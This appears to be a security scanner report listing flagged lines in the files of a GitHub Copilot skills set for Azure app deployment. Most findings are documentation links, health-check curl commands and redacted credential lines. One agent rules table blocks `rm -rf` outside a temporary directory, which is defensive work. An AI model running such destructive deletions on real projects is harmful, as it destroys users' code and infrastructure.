    - [Azure AI Foundry model catalog and router](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 36
    - [GitHub Models](https://docs.github.com/github-models)
  • Network accessline 37
    - [Azure API Management for AI](https://learn.microsoft.com/azure/api-management/)

harness/github-copilot/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md

  • Network accessline 34
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 35
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 36
    - [Azure AI Foundry Agent Service tools](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/github-copilot/skills/azure-ai/SKILL.md

  • Network accessline 78
    - AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search)
  • Network accessline 79
    - Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)

harness/github-copilot/skills/azure-ai/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-ai/references/sdk/azure-ai-transcription-py.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]

harness/github-copilot/skills/azure-ai/references/sdk/azure-ai-translation-ts.md

  • Access to secretsline 14
    [Credential-related source omitted]

harness/github-copilot/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md

  • Dangerous shell operationline 30
    trap 'rm -f "$hf_token_file"' EXIT
  • Access to secretsline 34
    [Credential-related source omitted]

harness/github-copilot/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md

  • Network accessline 22
    echo "Endpoint not yet available — model may still be starting" else   curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 23
    else   curl -X POST "${ENDPOINT}/v1/chat/completions" \     -H "Content-Type: application/json" \
  • Network accessline 24
    curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 30
    > **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first:
  • Network accessline 35
    > > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint
  • Network accessline 36
    > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ```
  • Network accessline 37
    > # Then use http://localhost:8080 as the endpoint

harness/github-copilot/skills/azure-api-center/SKILL.md

  • Network accessline 117
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 118
    - [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis)
  • Network accessline 119
    - [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting)
  • Network accessline 120
    - [API Center and API Management](https://learn.microsoft.com/azure/api-center/)

harness/github-copilot/skills/azure-app-onboard-prereq/references/prereq-schemas.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 64
    buildRequirements?: BuildRequirements;   /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.
  • Network accessline 65
    /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.    *  null if no health endpoint found (triggers W-HEALTH warning). */
  • Network accessline 66
    *  Used by scaffold for Azure health probe config and deploy for curl health check.

harness/github-copilot/skills/azure-app-onboard-prereq/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-app-onboard/references/deploy/blocked-patterns.md

  • Dangerous shell operationline 7
    | `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |

harness/github-copilot/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md

  • Network accessline 48
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 52
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]

harness/github-copilot/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md

  • Network accessline 25
    | Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use
  • Network accessline 26
    |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see
  • Network accessline 27
    | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below). 

harness/github-copilot/skills/azure-app-onboard/references/deploy/code-deployment-swa.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 52
    - **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (
  • Network accessline 53
    - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)

harness/github-copilot/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md

  • Network accessline 55
    - ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `
  • Network accessline 57
    - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu
  • Access to secretsline 65
    [Credential-related source omitted]

harness/github-copilot/skills/azure-app-onboard/references/deploy/deploy-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-app-onboard/references/deploy/health-check-patterns.md

  • Network accessline 22
    If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 23
    1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 54
    |---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 55
    | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname
  • Network accessline 56
    | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 57
    | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) |
  • Network accessline 64
    > ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end
  • Network accessline 65
    > ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 66
    > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell
  • Network accessline 67
    > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 76
    {   "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
  • Network accessline 77
    "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",   "healthStatus": "healthy"  // healthy | degraded | unreachable | unknown
  • Network accessline 78
    "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",

harness/github-copilot/skills/azure-app-onboard/references/deploy/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/github-copilot/skills/azure-app-onboard/references/deploy/portal-links.md

  • Network accessline 11
    $deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta
  • Network accessline 12
    $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN
  • Network accessline 13
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 27
    $resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F')
  • Network accessline 28
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 33
    For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog`
  • Network accessline 51
    ⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName}
  • Network accessline 52
    https://portal.azure.com/.../{newDeploymentName}

harness/github-copilot/skills/azure-app-onboard/references/deploy/preflight-checks.md

  • Network accessline 17
    - Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for
  • Network accessline 19
    - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.

harness/github-copilot/skills/azure-app-onboard/references/handoff-protocol.md

  • Network accessline 12
    > 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
  • Network accessline 13
    > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ```
  • Network accessline 14
    > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview

harness/github-copilot/skills/azure-app-onboard/references/iac-resources.md

  • Network accessline 7
    | Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 8
    |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u
  • Network accessline 9
    | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 10
    | Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type |
  • Network accessline 14
    | Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 15
    |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry.
  • Network accessline 16
    | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 17
    | Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs |
  • Network accessline 34
    | Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail
  • Network accessline 35
    |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR
  • Network accessline 36
    | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code |
  • Network accessline 37
    | App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues |
  • Network accessline 38
    | App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont
  • Network accessline 39
    | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures |
  • Network accessline 40
    | Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |

harness/github-copilot/skills/azure-app-onboard/references/mcp-tool-reference.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool
  • Network accessline 28
    > **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed

harness/github-copilot/skills/azure-app-onboard/references/phases/deploy.md

  • Network accessline 43
    | 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr
  • Network accessline 44
    | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc
  • Network accessline 45
    | 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_

harness/github-copilot/skills/azure-app-onboard/references/prepare/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/github-copilot/skills/azure-app-onboard/references/prepare/naming-patterns.md

  • Network accessline 5
    > **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.

harness/github-copilot/skills/azure-app-onboard/references/prepare/prepare-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-app-onboard/references/prepare/pricing-guide-services.md

  • Network accessline 197
    **Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):

harness/github-copilot/skills/azure-app-onboard/references/prepare/pricing-guide.md

  • Network accessline 66
    When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service

harness/github-copilot/skills/azure-app-onboard/references/prepare/sku-quota-validation.md

  • Network accessline 35
    $sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/
  • Network accessline 36
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20
  • Network accessline 37
    $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null
  • Network accessline 38
    $used  = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null
  • Network accessline 48
    az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" -
  • Network accessline 86
    $sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$s
  • Network accessline 87
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup
  • Network accessline 88
    $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null

harness/github-copilot/skills/azure-app-onboard/references/prepare/subagent-pricing.md

  • Network accessline 42
    - ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries (
  • Network accessline 45
    - ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1
  • Network accessline 46
    - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to
  • Network accessline 47
    - ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.

harness/github-copilot/skills/azure-app-onboard/references/prepare/validation-rubric.md

  • Network accessline 8
    |-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment*
  • Network accessline 9
    | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg
  • Network accessline 10
    | **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget
  • Network accessline 22
    - [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance
  • Network accessline 23
    - [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists

harness/github-copilot/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md

  • Network accessline 116
    > ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 117
    > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 133
    // ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL           #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets
  • Network accessline 134
    #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'           identity: 'system'  // Uses the CA's system-assigned managed identity
  • Network accessline 135
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 188
    Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars:
  • Network accessline 191
    env: [   { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 192
    { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 193
    { name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }

harness/github-copilot/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md

  • Network accessline 20
    > **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates.
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 79
    > **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold
  • Network accessline 80
    > > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne
  • Network accessline 81
    > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/

harness/github-copilot/skills/azure-app-onboard/references/scaffold/bicep-patterns.md

  • Network accessline 5
    > **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates.
  • Network accessline 76
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 77
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/github-copilot/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md

  • Network accessline 59
    1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 60
    2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 62
    Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).

harness/github-copilot/skills/azure-app-onboard/references/scaffold/env-var-secrets.md

  • Network accessline 12
    > **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope
  • Network accessline 13
    > ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins }
  • Network accessline 14
    > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]'
  • Network accessline 35
    {     name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 36
    name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'     identity: 'system'
  • Network accessline 37
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Access to secretsline 56
    [Credential-related source omitted]

harness/github-copilot/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md

  • Network accessline 61
    ⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](

harness/github-copilot/skills/azure-app-onboard/references/scaffold/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/github-copilot/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-app-onboard/references/scaffold/self-review-checklist.md

  • Network accessline 112
    Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).

harness/github-copilot/skills/azure-app-onboard/references/scaffold/terraform-patterns.md

  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 162
    Export: `resource_group_name`, `app_url` (https://${hostname}), `resource_ids` (list of all deployed resource IDs for deploy-result.json).

harness/github-copilot/skills/azure-app-onboard/references/scaffold/waf-checklist.md

  • Network accessline 5
    > **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p

harness/github-copilot/skills/azure-app-onboard/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1

  • Executable scriptline 1
    #!/usr/bin/env pwsh

harness/github-copilot/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-architecture-autopilot/.gitignore

  • Access to secretsline 23
    [Credential-related source omitted]

harness/github-copilot/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md

  • Network accessline 32
    | ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 33
    |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso
  • Network accessline 34
    | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 35
    | A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles |
  • Network accessline 36
    | A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure |
  • Network accessline 37
    | A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub |
  • Network accessline 38
    | A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure |
  • Network accessline 39
    | A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) |
  • Network accessline 40
    | A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide |
  • Network accessline 41
    | A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding |
  • Network accessline 42
    | A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap |
  • Network accessline 48
    | Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
  • Network accessline 50
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |

harness/github-copilot/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md

  • Network accessline 13
    | Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 14
